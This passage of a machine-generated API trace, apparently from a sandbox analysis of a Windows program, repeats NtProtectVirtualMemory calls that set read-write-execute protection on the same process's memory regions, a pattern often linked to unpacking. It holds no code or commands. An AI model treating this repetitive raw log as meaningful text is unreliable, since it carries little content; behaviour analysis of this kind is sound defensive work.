OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.100] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.118] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.128] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.138] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.148] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.165] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.175] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.186] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.196] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.271] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.281] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.291] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.301] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.317] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.327] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.338] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.351] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.368] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.378] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.388] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.398] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.415] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.425] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.435] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.453] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.464] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.475] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.485] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.502] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.512] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.522] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.532] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.550] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.560] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.571] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.581] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.598] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.608] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.618] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.628] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.645] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.656] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.667] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.677] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.693] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.704] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.715] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.725] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.742] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.753] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.765] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.822] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.833] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.843] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.860] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.871] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.881] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.893] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.910] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.920] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.930] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.940] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.957] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.968] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.978] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.988] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.005] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.015] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.026] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.036] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.052] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.062] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.072] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.083] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.100] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.110] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.120] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.130] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.146] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.157] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.167] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.178] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.201] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.219] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.265] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.278] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.289] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.301] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.319] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: 